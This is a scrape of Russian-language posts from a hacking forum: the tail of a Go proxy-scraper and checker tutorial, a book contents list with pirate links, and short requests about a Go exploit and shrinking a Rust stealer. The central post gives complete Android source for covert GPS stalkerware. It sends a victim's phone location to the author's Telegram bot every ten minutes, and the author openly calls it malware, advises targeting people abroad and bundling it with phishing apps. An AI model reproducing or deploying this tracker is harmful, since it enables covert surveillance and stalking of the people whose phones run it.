существует ли такой в мапе uniqueProxies.if _, exists :=
uniqueProxies[proxy]; !exists - обращаемся к значению карты по ключу
proxy. Если прокси-адрес отсутствует в карте, переменная exists будет
равна false , и условие !exists будет истинным.uniqueProxies[proxy]
= true - если прокси-адрес не существует в карте, мы добавляем его туда,
присваивая булево значение true по ключу proxy , чтобы отметить его
как присутствующий.
Проверяю работу кода, вставив подряд две одинаковые ссылки, и убеждаюсь в
успешном результате
Поскольку не все прокси, которые мы получили, будут рабочими, нам необходимо проверить их способность к подключению. Переходим к созданию чекера в IDE. Создаем новый файл на Go.
C-like:Copy to clipboard
package main
import (
"bufio"
"fmt"
"net/http"
"net/url"
"os"
"strings"
"sync"
"time"
)
func main() {
file, err := os.Open("notChecks.txt")
if err != nil {
fmt.Println("Error opening the file:", err)
return
}
defer file.Close()
scanner := bufio.NewScanner(file)
var ips []string
var ports []string
for scanner.Scan() {
proxyStr := scanner.Text()
parts := strings.Split(proxyStr, ":")
if len(parts) != 2 {
fmt.Println("Proxy format not valid:", proxyStr)
continue
}
ips = append(ips, parts[0])
ports = append(ports, parts[1])
}
var wg sync.WaitGroup
concurrentRequests := 10
semaphore := make(chan struct{}, concurrentRequests)
validFile, err := os.Create("validProxy.txt")
if err != nil {
fmt.Println("Error creating the output file:", err)
return
}
defer validFile.Close()
for i := range ips {
wg.Add(1)
go func(ip, port string) {
defer wg.Done()
semaphore <- struct{}{}
valid := checkProxy(ip, port)
if valid {
fmt.Printf("Valid Proxy %s:%s\n", ip, port)
validFile.WriteString(ip + ":" + port + "\n")
} else {
fmt.Printf("Invalid Proxy %s:%s\n", ip, port)
}
<-semaphore
}(ips[i], ports[i])
}
wg.Wait()
fmt.Println("Check completed. Valid proxies have been saved to the file validProxy.txt.")
}
func checkProxy(ip, port string) bool {
client := http.Client{
Timeout: 5 * time.Second,
}
proxyURL := fmt.Sprintf("http://%s:%s", ip, port)
parsed, err := url.Parse(proxyURL)
if err != nil {
fmt.Println("Error while parsing URL:", err)
return false
}
transport := &http.Transport{
Proxy: http.ProxyURL(parsed),
}
client.Transport = transport
req, err := http.NewRequest("GET", "http://google.com", nil)
if err != nil {
fmt.Println("Error while creating a request:", err)
return false
}
resp, err := client.Do(req)
if err != nil {
return false
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false
}
return true
}
Присупим к разбору кода. Мы добавляем несколько новых пакетов:
net/url - для работы с URL-адресами и создания прокси в формате
"http://ip:порт”
strings - для работы со строками
sync - будет использоваться для синхронизации горутин и ожидания их
завершения
time - для работы с временем и установки таймаута при выполнении HTTP-
запросов через прокси.
Начнем разбор логики работы функции checkProxy. Эта функция отвественна
непосредственно за проверку прокси, она принимает на вход IP адрес и порт, и
возвращает булевое значение, определяющее валидность.
Валидация происходит путем запроса к ресурсу и проверки статуса кода ответа,
это хороший способ универсальной проверки. В данном случае ресурсом выступит -
“http://google.com”, но его можно заменить на любой, с которым вы планируете
работать. Альтернативным способом проверки может быть сервис типа -
https://httpbin.org/ip, который возвращает IP, с которого вы обратились.
Валидным будет все, что вернуло статус код 200 OK.
Для обращения через прокси, мы создаем HTTP-клиента с таймаутом в 5 секунд,
следовательно, любой запрос, который будет выполняться через этот клиент и не
завершится в течение 5 секунд, будет прерван и будет считаться невалидным.
Далее мы формируем URL прокси-сервера в формате "http://ip:порт", используя
переданные в функцию ip и port. Создаем Transport, который определяет
параметры соединения, в данном случае это прокси, далее объявляем клиент с
использованием транспорта. Создается HTTP Get запрос к сайту google, в случае
ошибки при создании отдаем false и выводим лог. Далее отправляем запрос через
клиента, в случае ошибки (например, из-за таймаута), возвращаем false. После в
функции происходит проверка кода состояния. Если код не является 200 OK, снова
таки отдаем false. Во всех остальных случаях возвращаем true.
Разберем функцию main. Открываем файл 'notChecks.txt'. Создаем сканер для
построчного чтения файла. Инициализируем два массива ips и ports , в
которых будут храниться IP-адреса и порты прокси-серверов соответственно.
Далее мы, с помощью цикла, разбиваем все на эти два массива, чтобы в
дальнейшем передать их в функцию проверки. Мне кажется, это далеко не самое
оптимальное решение, и возможно стоит подумать над его оптимизацией. В цикле
также происходит проверка наличия двоеточия, и если строка не содержит его,
она считается невалидной. После создается группа ожидания sync.WaitGroup ,
которая будет использоваться для ожидания завершения всех горутин. Также
создается канал semaphore для управления количеством одновременно
выполняемых горутин. В данном коде их десять. Создадим файл для записи
валидных прокси “validProxy.txt”. Происходит итерация по списку прокси. Для
каждого IP-адреса и порта в списке прокси создается новая горутина. Горутина
добавляется в группу ожидания. Внутри горутины выполняется функция
checkProxy , которая проверяет прокси и записывает результат в файл
"validProxy.txt". Перед выполнением запроса происходит ожидание освобождения
места в канале semaphore , чтобы не было выполнено более 10 запросов
одновременно.wg.Wait() - ожидает завершения всех горутин. После
завершения проверки выводим сообщение в консоль.
Вероятно, вы уже могли заметить ошибку, а именно то, что я совсем забыл
учитывать тип прокси. Обращаться к протоколу SOCKS через HTTP - неправильное
решение. Я заметил эту ошибку только на этом этапе и начал думать, как
исправить ее уже после написания кода. На большинстве сайтов с раздачами
прокси будет указан тип. Проблема в том, что написать регулярное выражение,
которое будет собирать эту информацию универсально, достаточно проблематично.
Следовательно, мы рассуждаем с позиции того, что мы хотим универсальное
решение, и мы не знаем, какой тип мы получаем на входе. В общем, я принял
решение добавить проверку на протокол SOCKS, и в случае, если мы получаем
невалидный результат, прокидывать ее вниз на проверку по HTTP. Это, очевидно,
не самое оптимальное решение, тем не менее, оно работает. Проверка на SOCKS
будет происходить по TCP. Я изучил спецификацию и пришел к выводу, что
проверка по TCP должна стать универсальным решением как для SOCKS5, так и для
SOCKS4, поскольку подключение с использованием TCP поддерживается всеми
версиями протокола.
Переходим к коду:
C-like:Copy to clipboard
package main
import (
"bufio"
"fmt"
"net/http"
"net/url"
"os"
"strings"
"sync"
"time"
"golang.org/x/net/proxy"
)
func main() {
file, err := os.Open("notChecks.txt")
if err != nil {
fmt.Println("Error opening the file:", err)
return
}
defer file.Close()
scanner := bufio.NewScanner(file)
var ips []string
var ports []string
for scanner.Scan() {
proxyStr := scanner.Text()
parts := strings.Split(proxyStr, ":")
if len(parts) != 2 {
fmt.Println("Proxy format not valid:", proxyStr)
continue
}
ips = append(ips, parts[0])
ports = append(ports, parts[1])
}
var wg sync.WaitGroup
concurrentRequests := 10
semaphore := make(chan struct{}, concurrentRequests)
validFile, err := os.Create("validProxy.txt")
if err != nil {
fmt.Println("Error creating the output file:", err)
return
}
defer validFile.Close()
for i := range ips {
wg.Add(1)
go func(ip, port string) {
defer wg.Done()
semaphore <- struct{}{}
valid, proxyType := checkProxyWithSocks(ip, port)
if !valid {
valid, proxyType = checkProxy(ip, port)
}
if valid {
fmt.Printf("✅ Valid %s Proxy %s:%s\n", proxyType, ip, port)
validFile.WriteString(ip + ":" + port + "\n")
} else {
fmt.Printf("❌ Invalid Proxy %s:%s\n", ip, port)
}
<-semaphore
}(ips[i], ports[i])
}
wg.Wait()
fmt.Println("Check completed. Valid proxies have been saved to the file validProxy.txt.")
}
func checkProxyWithSocks(ip, port string) (bool, string) {
dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%s", ip, port), nil, proxy.Direct)
if err != nil {
fmt.Println("Error while creating SOCKS5 proxy:", err)
return false, ""
}
httpTransport := &http.Transport{
Dial: dialer.Dial,
}
client := &http.Client{
Transport: httpTransport,
Timeout: 5 * time.Second,
}
req, err := http.NewRequest("GET", "http://google.com", nil)
if err != nil {
fmt.Println("Error while creating a request:", err)
return false, ""
}
resp, err := client.Do(req)
if err != nil {
return false, "SOCKS5"
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, "SOCKS5"
}
return true, "SOCKS5"
}
func checkProxy(ip, port string) (bool, string) {
client := http.Client{
Timeout: 5 * time.Second,
}
proxyURL := fmt.Sprintf("http://%s:%s", ip, port)
parsed, err := url.Parse(proxyURL)
if err != nil {
fmt.Println("Error while parsing URL:", err)
return false, ""
}
transport := &http.Transport{
Proxy: http.ProxyURL(parsed),
}
client.Transport = transport
req, err := http.NewRequest("GET", "http://google.com", nil)
if err != nil {
fmt.Println("Error while creating a request:", err)
return false, ""
}
resp, err := client.Do(req)
if err != nil {
return false, "HTTP"
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, "HTTP"
}
return true, "HTTP"
}
Для работы с протоколом SOCKS я добавил пакет "golang.org/x/net/proxy". В функции main сначала происходит проверка с помощью функции checkProxyWithSocks. Если она возвращает false , мы переходим к checkProxy. Если мы получаем true , то выводим результат в консоль. В этой версии я немного изменил лог, добавив эмодзи для визуального разделения, а также указания типа прокси в случае валида. Функция checkProxy не претерпела изменений и все также проверяет валидность по HTTP. Давайте разберем функцию checkProxyWithSocks :
C-like:Copy to clipboard
dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%s", ip, port), nil, proxy.Direct)
Сперва в ней происходит создание SOCKS5 прокси-клиента с помощью функции
proxy.SOCKS5. Первым аргументом указываем протокол TCP, вторым - адрес
прокси-сервера. nil указывает на то, что не требуется аутентификация, а
proxy.Direct указывает на то, что нет необходимости использовать цепочку
прокси. Далее все происходит также, как и при проверке HTTP: создаем
транспорт, клиент, формируем запрос, отправляем его и получаем ответ,
обрабатываем ошибки и проверяем статус ответа, закрываем тело ответа и
возвращаем результат.
Подводим итоги. Проектирование и декомпозиция очень важны, а разработка на Go
увлекательна и несложна.
На самом деле, здесь еще есть, над чем работать. Однако этот проект выполняет
свою функцию. Я столкнулся с проблемой получения прокси с нескольких сайтов и
в данный момент работаю над тем, чтобы понять, почему это происходит (все
ссылки из links.txt рабочие). Также я бы добавил больше логов в консоль о
процессе.
Я объединил все в одну функцию и внёс несколько изменений по сравнению с тем,
что описано в статье:
Вы можете скачать проект здесь (в виде исходного кода, архив находится в
прикрепленных файлах, без пароля).
Буду рад критике кода от более опытных участников. Я знаю, что здесь многие
используют Go, и также буду рад, если моя программа пригодится вам. Уверен,
это не последняя статья про Go
Авторzebra0_0
Источник https://xss.is
Всем привет, в этой статье я продолжу цепочку написания точных туториалов по созданию простого но полезного софтов на платформе Android. Как всегда писать буду на языке программирования java так как он является нативным для android и с помощью Android Studio. Для совсем зелены (Те кто разбираются могут пропустить):
Нативный язык - язык программирования который предустановлен на платформе по которой мы работаем. Почему это важно? Это сделано чтоб нам было достаточно запустить код без нужды дополнительно установки целого языка на устройство.
К сути. В данной статье я расскажу про принцип работы а главное покажу и полность розжую код простого автоматического GPS трекера.
Основная часть:
Прежде чем объяснять как создать GPS трекер надо понять зачем нам это надо
GPS трекер можно использовать в разных целях, например:
Внимание: Половина методов применения носит назначение при котором вы знаете жертву, то есть работаете по своему региону. А мы участники XSS.is такое осуждаем ведь “Кто работает по ру к тем приходят по утру”. Поэтому они подходят только в целях для продажи людям вне нашего региона.
С метод применения разобрались но остаётся аспект что сами по себе они довольно бесполезны так-как закидывать целый файл ради одной слежки за телефон даже немного глупо. По-этому я советую вам использовать мои труды роботы как дополнения к более полезным функциям в качестве вишенки на торте. как пример могу привести функционал показанный в моих более ранних статьях или в качестве склейки с фишинговым программам.
Создание:
Создание каждого приложения на Android Studio можно разделить на такие пункты:
Выдача Разрешений:
Каждому Android приложению которое делают хоть что-то вне базы
требую разрешения. И для нас как для разработчиков Malware софта это очень
плохо так как с каждой новой версией рамки сжимают. Например для некоторый
разрешений больше не достаточно просто нажать кнопку “Разрешить” надо заходить
в настройки и выдавать отдельную. галочку. Не удивлюсь если в 2050 тебе будет
звонить сотрудник MicroSoft по видеосвязи и попросит устное разрешение. Но нам
повезло ведь для получения гео локации пока достаточно нажать одну кнопку.
Пример оставил на фото:
Как и выдать?
Для их выдачи надо прописать разрешения в файле Manifest.xml перед
application.
Код:
XML:Copy to clipboard
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.INTERNET"/>
На подчёркивание в 5й строке не обрушайте внимание так-как на работо
способность это не влияет.
Эти два разрешения это все которые нам нужны.
Но это не конец и после этого надо первым делом прописать запрашивание
разрешений уже внутри нашего java файла, у меня это MainActivity.
код:
Java:Copy to clipboard
private void checkLocationPermission() {
if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, LOCATION_PERMISSION_REQUEST_CODE);
} else {
startLocationUpdates();
}
}
Этот код сначала проверяет, предоставлено ли разрешение. Если нет, то приложение запрашивает его у пользователя. Эта часть выполняется в методе checkLocationPermission().
После выполнения запроса результат обрабатывается в методе
onRequestPermissionsResult().
Добавление зависимостей
Далее вам надо будет зайти в файл build.gradle.kts это файл в Android-проекте
используется для настройки сборки проекта и управления зависимостями с помощью
Kotlin DSL (Domain Specific Language). Существует два файла build.gradle.kts в
каждом проекте Android: один для проекта в целом (находится в корневом
каталоге) и один для каждого модуля (например, app/build.gradle.kts).
Нам нужен app/build.gradle.kts .
В нём вам надо найти dependencies (зависимости) в Android-проекте — это
внешние библиотеки, модули или файлы, которые проект использует для выполнения
различных задач. Эти зависимости подключаются через систему сборки Gradle.
Зависимости позволяют избежать дублирования кода, экономить время разработки и
улучшать производительность, используя уже готовые решения для типичных задач.
Так вот, внутрь dependencies надо вписать:
Code:Copy to clipboard
implementation ("com.google.android.gms:play-services-location:21.0.1")
implementation ("com.squareup.okhttp3:okhttp:4.9.3")
чтоб добавить эти внешние библиотеки к нам в проект.
почему именно OkHttp
Теперь перейдём импортам:
Java:Copy to clipboard
import android.Manifest;
import android.content.pm.PackageManager;
import android.location.Location;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import com.google.android.gms.location.FusedLocationProviderClient;
import com.google.android.gms.location.LocationCallback;
import com.google.android.gms.location.LocationRequest;
import com.google.android.gms.location.LocationResult;
import com.google.android.gms.location.LocationServices;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
Тут указаны все импорты которые использует приложение.
Далее создадим основные переменные для настроек проекта:
Java:Copy to clipboard
private static final String TELEGRAM_TOKEN = "Токен вашего бота";
private static final String CHAT_ID = "ваш Chat_id";
private static final int LOCATION_PERMISSION_REQUEST_CODE = 1;
private static final long INTERVAL_MS = 600000; // Интервал в 10 минут (600 000 мс)
В ним мы указываем:
Настройка обновлений местоположения
Для получения GPS-данных, мы используем FusedLocationProviderClient который
предоставляет API для получения и отслеживания место положения.
код:
Java:Copy to clipboard
LocationRequest locationRequest = LocationRequest.create();
locationRequest.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY);
locationRequest.setInterval(INTERVAL_MS);
Обработка данных о местоположении
LocationCallback отвечает за обработку данных, полученных при изменении
местоположения, и вызывает метод sendLocationToTelegram() для отправки данных.
Код:
Java:Copy to clipboard
locationCallback = new LocationCallback() {
@Override
public void onLocationResult(LocationResult locationResult) {
if (locationResult == null) {
return;
}
for (Location location : locationResult.getLocations()) { // was made by zebra0_0 for xss.is
if (location != null) {
double latitude = location.getLatitude();
double longitude = location.getLongitude();
sendLocationToTelegram(latitude, longitude);
}
}
}
};
Отправка данных в Telegram
Метод sendLocationToTelegram() формирует HTTP-запрос к Telegram API с
использованием библиотеки OkHttp.
Код:
Java:Copy to clipboard
private void sendLocationToTelegram(double latitude, double longitude) {
String message = "Current Location: " + latitude + ", " + longitude;
String url = "https://api.telegram.org/bot" + TELEGRAM_TOKEN
+ "/sendMessage?chat_id=" + CHAT_ID
+ "&text=" + message;
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(@NonNull Call call, @NonNull IOException e) {
e.printStackTrace();
}
@Override
public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
if (response.isSuccessful()) {
System.out.println("Location sent successfully"); // was made by zebra0_0 for xss.is
} else {
System.out.println("Error sending location: " + response.message());
}
}
});
}
Запуск периодического обновления местоположения
Чтобы отправлять местоположение каждые 10 минут, используется Handler и
Runnable, которые позволяют запустить функцию отправки с установленной
задержкой.
Код:
Java:Copy to clipboard
locationRunnable = new Runnable() {
@Override
public void run() {
if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) {
fusedLocationClient.requestLocationUpdates(locationRequest, locationCallback, null);
}
handler.postDelayed(this, INTERVAL_MS); // Повторяем через 10 минут
}
};
handler.post(locationRunnable); // Запускаем Runnable
Полный процесс работы
Важные моменты:
Про код вроде всё рассказал. Теперь перейдём к результату.
Если вы заделали всё правильно то в конечно результате вы будете получать
каждые 10 мин(Или столько сколько вы указали в переменой) сообщения в
автоматическом режиме от телеграмм бота.
Они будет выглядеть так:
На месте замазоного у вас после двоеточия будет 17 цифр разделённых 2 точками
и 1 запятой. Но как с них достать кординаты?
Вы просто берёте эти цифры и вбиваете их в поиск google maps или других веб
карт, после чего получаете максимально возможно гео точку с место нахождение
телефона.
результат:
полный код:
Java:Copy to clipboard
package com.example.gps;
import android.Manifest;
import android.content.pm.PackageManager;
import android.location.Location;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import com.google.android.gms.location.FusedLocationProviderClient;
import com.google.android.gms.location.LocationCallback;
import com.google.android.gms.location.LocationRequest;
import com.google.android.gms.location.LocationResult;
import com.google.android.gms.location.LocationServices;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
public class MainActivity extends AppCompatActivity {
private static final String TELEGRAM_TOKEN = "Your telgrem bot TOKEN";
private static final String CHAT_ID = "Your Chad id";
private static final int LOCATION_PERMISSION_REQUEST_CODE = 1;
private static final long INTERVAL_MS = 600000; // Интервал в 10 минут (600 000 мс) // was made by zebra0_0 for xss.is
private FusedLocationProviderClient fusedLocationClient;
private LocationCallback locationCallback;
private Handler handler;
private Runnable locationRunnable;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
fusedLocationClient = LocationServices.getFusedLocationProviderClient(this);
handler = new Handler(Looper.getMainLooper());
// Проверка и запрос разрешений
checkLocationPermission(); // was made by zebra0_0 for xss.is
}
private void checkLocationPermission() {
if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
!= PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, LOCATION_PERMISSION_REQUEST_CODE);
} else {
startLocationUpdates();
}
}
private void startLocationUpdates() {
// Создаем запрос на обновление местоположения
LocationRequest locationRequest = LocationRequest.create();
locationRequest.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY);
locationRequest.setInterval(INTERVAL_MS); // Интервал обновления местоположения в мс
locationCallback = new LocationCallback() {
@Override
public void onLocationResult(LocationResult locationResult) {
if (locationResult == null) {
return;
}
for (Location location : locationResult.getLocations()) {
if (location != null) {
double latitude = location.getLatitude();
double longitude = location.getLongitude();
sendLocationToTelegram(latitude, longitude);
}
}
}
};
// Запускаем цикл отправки каждые 10 минут
locationRunnable = new Runnable() {
@Override
public void run() {
if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) {
fusedLocationClient.requestLocationUpdates(locationRequest, locationCallback, null);
}
handler.postDelayed(this, INTERVAL_MS); // Повторяем через 10 минут
}
};
handler.post(locationRunnable); // Запускаем Runnable
}
private void sendLocationToTelegram(double latitude, double longitude) {
String message = "Current Location: " + latitude + ", " + longitude;
String url = "https://api.telegram.org/bot" + TELEGRAM_TOKEN
+ "/sendMessage?chat_id=" + CHAT_ID
+ "&text=" + message;
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(@NonNull Call call, @NonNull IOException e) {
e.printStackTrace();
}
@Override
public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
if (response.isSuccessful()) {
System.out.println("Location sent successfully"); // was made by zebra0_0 for xss.is
} else {
System.out.println("Error sending location: " + response.message());
}
}
});
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == LOCATION_PERMISSION_REQUEST_CODE) {
if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
startLocationUpdates();
} else {
// Действия, если пользователь отказал в разрешении
System.out.println("Permission denied");
}
}
}
@Override
protected void onDestroy() {
super.onDestroy();
if (locationRunnable != null) {
handler.removeCallbacks(locationRunnable); // Остановка цикла отправки
}
fusedLocationClient.removeLocationUpdates(locationCallback); // was made by zebra0_0 for xss.is
}
}
Книга представляет практическое руководство по автоматизации задач, разработке атак living-off-the-land и многому другому.
В ней рассмотрены:
Spoiler: Оглавление
Copyright
About the Authors
About the Technical Reviewer
Brief Contents
Contents in Detail
Acknowledgments
Introduction
What Is in This Book
The Scripting Exercises
How to Use This Book
1. Bash Basics
Environmental Setup
Accessing the Bash Shell
Installing a Text Editor
Exploring the Shell
Checking Environment Variables
Running Linux Commands
Elements of a Bash Script
The Shebang Line
Comments
Commands
Execution
Debugging
Basic Syntax
Variables
Arithmetic Operators
Arrays
Streams
Control Operators
Redirection Operators
Positional Arguments
Input Prompting
Exit Codes
Exercise 1: Recording Your Name and the Date
Summary
2. Flow Control and Text Processing
Test Operators
if Conditions
Linking Conditions
Testing Command Success
Checking Subsequent Conditions
Functions
Returning Values
Accepting Arguments
Loops and Loop Controls
while
until
for
break and continue
case Statements
Text Processing and Parsing
Filtering with grep
Filtering with awk
Editing Streams with sed
Job Control
Managing the Background and Foreground
Keeping Jobs Running After Logout
Bash Customizations for Penetration Testers
Placing Scripts in Searchable Paths
Shortening Commands with Aliases
Customizing the ~/.bashrc Profile
Importing Custom Scripts
Capturing Terminal Session Activity
Exercise 2: Pinging a Domain
Summary
3. Setting Up a Hacking Lab
Security Lab Precautions
Installing Kali
The Target Environment
Installing Docker and Docker Compose
Cloning the Book’s Repository
Deploying Docker Containers
Testing and Verifying the Containers
The Network Architecture
The Public Network
The Corporate Network
Kali Network Interfaces
The Machines
Managing the Lab
Shutting Down
Removing
Rebuilding
Accessing Individual Lab Machines
Installing Additional Hacking Tools
WhatWeb
RustScan
Nuclei
dirsearch
Linux Exploit Suggester 2
Gitjacker
pwncat
LinEnum
unix-privesc-check
Assigning Aliases to Hacking Tools
Summary
4. Reconnaissance
Creating Reusable Target Lists
Consecutive IP Addresses
Possible Subdomains
Host Discovery
ping
Nmap
arp-scan
Exercise 3: Receiving Alerts About New Hosts
Port Scanning
Nmap
RustScan
Netcat
Exercise 4: Organizing Scan Results
Detecting New Open Ports
Banner Grabbing
Using Active Banner Grabbing
Detecting HTTP Responses
Using Nmap Scripts
Detecting Operating Systems
Analyzing Websites and JSON
Summary
5. Vulnerability Scanning and Fuzzing
Scanning Websites with Nikto
Building a Directory Indexing Scanner
Identifying Suspicious robots.txt Entries
Exercise 5: Exploring Non-indexed Endpoints
Brute-Forcing Directories with dirsearch
Exploring Git Repositories
Cloning the Repository
Viewing Commits with git log
Filtering git log Information
Inspecting Repository Files
Vulnerability Scanning with Nuclei
Understanding Templates
Writing a Custom Template
Applying the Template
Running a Full Scan
Exercise 6: Parsing Nuclei’s Findings
Fuzzing for Hidden Files
Creating a Wordlist of Possible Filenames
Fuzzing with ffuf
Fuzzing with Wfuzz
Assessing SSH Servers with Nmap’s Scripting Engine
Exercise 7: Combining Tools to Find FTP Issues
Summary
6. Gaining a Web Shell
Arbitrary File Upload Vulnerabilities
Fuzzing for Arbitrary File Uploads
Bypassing File Upload Controls
Uploading Files with Burp Suite
Staging Web Shells
Finding Directory Traversal Vulnerabilities
Uploading Malicious Payloads
Executing Web Shell Commands
Exercise 8: Building a Web Shell Interface
Limitations of Web Shells
Lack of Persistence
Lack of Real-Time Responses
Limited Functionality
OS Command Injection
Exercise 9: Building a Command Injection Interface
Bypassing Command Injection Restrictions
Obfuscation and Encoding
Globbing
Summary
7. Reverse Shells
How Reverse Shells Work
Ingress vs. Egress Controls
Shell Payloads and Listeners
The Communication Sequence
Executing a Connection
Setting Up a Netcat Listener
Crafting a Payload
Delivering and Initializing the Payload
Executing Commands
Listening with pwncat
Bypassing Security Controls
Encrypting and Encapsulating Traffic
Alternating Between Destination Ports
Spawning TTY Shells with Pseudo-terminal Devices
Python’s pty Module
socat
Post-exploitation Binary Staging
Serving Netcat
Uploading Files with pwncat
Downloading Binaries from Trusted Sites
Exercise 10: Maintaining a Continuous Reverse Shell Connection
Initial Access with Brute Force
Exercise 11: Brute-Forcing an SSH Server
Summary
8. Local Information Gathering
The Filesystem Hierarchy Standard
The Shell Environment
Environment Variables
Sensitive Information in Bash Profiles
Users and Groups
Local Accounts
Local Groups
Home Folder Access
Valid Shells
Processes
Viewing Process Files
Running ps
Examining Root Processes
The Operating System
Exercise 12: Writing a Linux Operating System Detection Script
Login Sessions and User Activity
Collecting User Sessions
Investigating Executed Commands
Networking
Network Interfaces and Routes
Connections and Neighbors
Firewall Rules
Network Interface Configuration Files
Domain Resolvers
Software Installations
Storage
Block Devices
The Filesystem Tab File
Logs
System Logs
Application Logs
Exercise 13: Recursively Searching for Readable Logfiles
Kernels and Bootloaders
Configuration Files
Scheduled Tasks
Cron
At
Exercise 14: Writing a Cron Job Script to Find Credentials
Hardware
Virtualization
Using Dedicated Tools
Living Off the Land
Automating Information Gathering with LinEnum
Exercise 15: Adding Custom Functionality to LinEnum
Summary
9. Privilege Escalation
What Is Privilege Escalation?
Linux File and Directory Permissions
Viewing Permissions
Setting Permissions
Creating File Access Control Lists
Viewing SetUID and SetGID
Setting the Sticky Bit
Finding Files Based on Permissions
Exploiting a SetUID Misconfiguration
Scavenging for Credentials
Passwords and Secrets
Private Keys
Exercise 16: Brute-Forcing GnuPG Key Passphrases
Examining the sudo Configuration
Abusing Text Editor Tricks
Downloading Malicious sudoers Files
Hijacking Executables via PATH Misconfigurations
Exercise 17: Maliciously Modifying a Cron Job
Finding Kernel Exploits
SearchSploit
Linux Exploit Suggester 2
Attacking Adjacent Accounts
Privilege Escalation with GTFOBins
Exercise 18: Mapping GTFOBins Exploits to Local Binaries
Automating Privilege Escalation
LinEnum
unix-privesc-check
MimiPenguin
Linuxprivchecker
Bashark
Summary
10. Persistence
The Enemies of Persistent Access
Modifying Service Configurations
System V
systemd
Hooking into Pluggable Authentication Modules
Exercise 19: Coding a Malicious pam_exec Bash Script
Generating Rogue SSH Keys
Repurposing Default System Accounts
Poisoning Bash Environment Files
Exercise 20: Intercepting Data via Profile Tampering
Credential Theft
Hooking a Text Editor
Streaming Executed Commands
Forging a Not-So-Innocent sudo
Exercise 21: Hijacking Password Utilities
Distributing Malicious Packages
Understanding DEB Packages
Packaging Innocent Software
Converting Package Formats with alien
Exercise 22: Writing a Malicious Package Installer
Summary
11. Network Probing and Lateral Movement
Probing the Corporate Network
Service Mapping
Port Frequencies
Exercise 23: Scanning Ports Based on Frequencies
Exploiting Cron Scripts on Shared Volumes
Verifying Exploitability
Checking the User Context
Exercise 24: Gaining a Reverse Shell on the Backup Server
Exploiting a Database Server
Port Forwarding
Brute-Forcing with Medusa
Backdooring WordPress
Running SQL Commands with Bash
Exercise 25: Executing Shell Commands via WordPress
Compromising a Redis Server
Raw CLI Commands
Metasploit
Exposed Database Files
Dumping Sensitive Information
Uploading a Web Shell with SQL
Summary
12. Defense Evasion and Exfiltration
Defensive Controls
Endpoint Security
Application and API Security
Network Security
Honeypots
Log Collection and Aggregation
Exercise 26: Auditing Hosts for Landmines
Concealing Malicious Processes
Library Preloading
Process Hiding
Process Masquerading
Exercise 27: Rotating Process Names
Dropping Files in Shared Memory
Disabling Runtime Security Controls
Manipulating History
Tampering with Session Metadata
Concealing Data
Encoding
Encryption
Exercise 28: Writing Substitution Cipher Functions
Exfiltration
Raw TCP
DNS
Text Storage Sites
Slack Webhooks
Sharding Files
Number of Lines
Size
Chunks
Exercise 29: Sharding and Scheduling Exfiltration
Summary
Index
Скачать с
libgen
или с
DamageLiB
P. S. Учитывая, что вся серия Blackhat something... переведена на русский издательством Питер, скорее всего переведут и ее.
You must have at least 3 reaction(s) to view the content.
Нужен чел который поможет разобраться с эксплойтом написанным на голанде за $
Trying to implement LSB in NIM , looking forward for some examples , thanks in advance!
Написал в свое пользование небольшой малварь-стиллер и возник вопрос - есть ли какие-то методы, с помощью которых можно уменьшить размер исполняемого файла? Я смотрел темы людей, занимающихся продажей своих стиллеров, и их билд весит около 200кб (это был стиллер на си), в то время как у меня вышло около 4мб. Это особенность раста? Или же мой код так раздут? Я пробовал приводить весь код в asm и компилировать потом этот asm в .ехе, с помощью gcc, но так и не смог это сделать, да и наверное это бессмысленно. Слышал, что это все из-за статической типизации, но если использовать динамическую, то придется таскать/подгружать все нужные .dll, стоит ли рассмотреть такой вариант? Также, думал над тем, чтобы переписать все использующиеся библиотеки на голый WinApi (которые, конечно, разумно переписать, например - reqwest). Вот все библиотеки которые я использую:
Code:Copy to clipboard
[dependencies]
serde_json = "1.0"
aes-gcm = "0.10.2"
base64 = "0.21.2"
